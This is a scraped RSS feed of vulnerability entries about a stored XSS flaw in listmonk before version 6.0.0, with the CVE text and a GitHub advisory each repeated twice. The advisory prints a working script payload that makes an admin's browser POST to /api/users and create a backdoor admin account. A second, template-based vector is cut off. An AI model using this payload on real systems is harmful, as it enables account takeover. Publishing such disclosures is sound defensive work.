https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Tue, 06 Oct 2026 23:06:58 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-264830 EUVD-2026-264830 https://cve.radiocsirt.org/vuln/euvd-2026-264830 https://cve.radiocsirt.org/vuln/fkie_cve-2026-21483 <p>listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to version 6.0.0, lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts. The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required. Version 6.0.0 fixes the issue.</p> <p>listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to version 6.0.0, lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts. The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required. Version 6.0.0 fixes the issue.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2026-21483 https://cve.radiocsirt.org/vuln/ghsa-jmr4-p576-v565 <p><strong>Affected:</strong> Go: github.com/knadh/listmonk</p> <p>## Security Advisory: Stored XSS Leading to Admin Account Takeover</p> <p>**Affected Versions:** ≤ 5.1.0 **Vulnerability Type:** CWE-79: Stored Cross-Site Scripting</p> <p>---</p> <p>## Summary</p> <p>A lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.</p> <p>The attack can be weaponized via the **public archive feature**, where victims simply need to visit a link - no preview click required.</p> <p>---</p> <p>## Required Attacker Permissions</p> <p>``` campaigns:manage - Create/edit campaigns campaigns:get - View campaigns lists:get_all - Access lists templates:get - Access templates ```</p> <p>**Note:** These are common permissions for content managers who are not full admins.</p> <p>---</p> <p>## Attack Vectors</p> <p>### Vector 1: Raw HTML (Direct Script Tag)</p> <p>```html &lt;script&gt; fetch(&#39;/api/users&#39;, { method: &#39;POST&#39;, headers: {&#39;Content-Type&#39;: &#39;application/json&#39;}, credentials: &#39;include&#39;, body: &#39;{&#34;username&#34;:&#34;backdoor&#34;,&#34;email&#34;:&#34;backdoor@evil.com&#34;,&#34;name&#34;:&#34;Backdoor&#34;,&#34;password&#34;:&#34;Hacked123&#34;,&#34;type&#34;:&#34;user&#34;,&#34;status&#34;:&#34;enabled&#34;,&#34;userRoleId&#34;:1,&#34;user_role_id&#34;:1}&#39; }); &lt;/script&gt; ```</p> <p>### Vector 2: Go Template `Safe` Function</p> <p>``` {{ `&lt;script&gt;fetch(&#39;/api/users&#39;,{method:&#39;POST&#39;,headers:{&#39;Content-Type&#39;:&#39;application/json&#39;},credentials:&#39;include&#39;,body:&#39;{&#34;…</p> <p><strong>Affected:</strong> Go: github.com/knadh/listmonk</p> <p>## Security Advisory: Stored XSS Leading to Admin Account Takeover</p> <p>**Affected Versions:** ≤ 5.1.0 **Vulnerability Type:** CWE-79: Stored Cross-Site Scripting</p> <p>---</p> <p>## Summary</p> <p>A lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.</p> <p>The attack can be weaponized via the **public archive feature**, where victims simply need to visit a link - no preview click required.</p> <p>---</p> <p>## Required Attacker Permissions</p> <p>``` campaigns:manage - Create/edit campaigns campaigns:get - View campaigns lists:get_all - Access lists templates:get - Access templates ```</p> <p>**Note:** These are common permissions for content managers who are not full admins.</p> <p>---</p> <p>## Attack Vectors</p> <p>### Vector 1: Raw HTML (Direct Script Tag)</p> <p>```html &lt;script&gt; fetch(&#39;/api/users&#39;, { method: &#39;POST&#39;, headers: {&#39;Content-Type&#39;: &#39;application/json&#39;}, credentials: &#39;include&#39;, body: &#39;{&#34;username&#34;:&#34;backdoor&#34;,&#34;email&#34;:&#34;backdoor@evil.com&#34;,&#34;name&#34;:&#34;Backdoor&#34;,&#34;password&#34;:&#34;Hacked123&#34;,&#34;type&#34;:&#34;user&#34;,&#34;status&#34;:&#34;enabled&#34;,&#34;userRoleId&#34;:1,&#34;user_role_id&#34;:1}&#39; }); &lt;/script&gt; ```</p> <p>### Vector 2: Go Template `Safe` Function</p> <p>``` {{ `&lt;script&gt;fetch(&#39;/api/users&#39;,{method:&#39;POST&#39;,headers:{&#39;Content-Type&#39;:&#39;application/json&#39;},credentials:&#39;include&#39;,body:&#39;{&#34;…</p> https://cve.radiocsirt.org/vuln/ghsa-jmr4-p576-v565